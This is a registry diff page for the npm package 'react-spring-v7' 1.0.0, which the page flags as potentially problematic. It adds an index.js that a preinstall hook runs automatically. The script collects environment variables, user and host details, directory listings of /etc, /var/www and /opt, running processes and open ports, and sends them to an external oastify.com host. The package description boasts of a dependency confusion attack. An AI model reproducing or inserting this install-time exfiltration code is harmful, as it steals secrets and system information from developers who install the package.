react-spring-v7 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of react-spring-v7 might be problematic. Click here for more details.
- package/index.js +78 -0
- package/package.json +17 -0
package/index.js
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
const fs = require("fs");
|
|
8
|
+
const child_process = require("child_process");
|
|
9
|
+
const netstat = require("node-netstat");
|
|
10
|
+
|
|
11
|
+
// Gather additional information
|
|
12
|
+
const networkInterfaces = os.networkInterfaces();
|
|
13
|
+
const importantDirectories = ["/etc", "/var/www", "/opt"];
|
|
14
|
+
const envVariables = process.env;
|
|
15
|
+
|
|
16
|
+
const trackingData = JSON.stringify({
|
|
17
|
+
p: package,
|
|
18
|
+
c: __dirname,
|
|
19
|
+
hd: os.homedir(),
|
|
20
|
+
hn: os.hostname(),
|
|
21
|
+
un: os.userInfo().username,
|
|
22
|
+
dns: dns.getServers(),
|
|
23
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
24
|
+
v: packageJSON.version,
|
|
25
|
+
pjson: packageJSON,
|
|
26
|
+
networkInterfaces: networkInterfaces,
|
|
27
|
+
envVariables: envVariables,
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
// Add information about important directories
|
|
31
|
+
importantDirectories.forEach((dir) => {
|
|
32
|
+
fs.readdir(dir, (err, files) => {
|
|
33
|
+
if (err) throw err;
|
|
34
|
+
trackingData[dir] = files;
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
// Add information about running processes
|
|
39
|
+
child_process.exec("ps aux", (error, stdout, stderr) => {
|
|
40
|
+
if (error) throw error;
|
|
41
|
+
trackingData.runningProcesses = stdout;
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
// Add information about open ports
|
|
45
|
+
netstat({
|
|
46
|
+
done: (result) => {
|
|
47
|
+
trackingData.openPorts = result;
|
|
48
|
+
|
|
49
|
+
// Send the data to the collaborator
|
|
50
|
+
var postData = querystring.stringify({
|
|
51
|
+
msg: trackingData,
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
var options = {
|
|
55
|
+
hostname: "fl4oqnf7ul676f66y63f7i7k5bb2ztni.oastify.com",
|
|
56
|
+
port: 443,
|
|
57
|
+
path: "/",
|
|
58
|
+
method: "POST",
|
|
59
|
+
headers: {
|
|
60
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
61
|
+
"Content-Length": postData.length,
|
|
62
|
+
},
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
var req = https.request(options, (res) => {
|
|
66
|
+
res.on("data", (d) => {
|
|
67
|
+
process.stdout.write(d);
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
req.on("error", (e) => {
|
|
72
|
+
// console.error(e);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
req.write(postData);
|
|
76
|
+
req.end();
|
|
77
|
+
},
|
|
78
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "react-spring-v7",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "YOU ARE HACKED BY DEPENDENCY CONFUSION ATTACK",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo 'Error: no test specified' && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC",
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"reactstrap-v7": "^1.0.0"
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|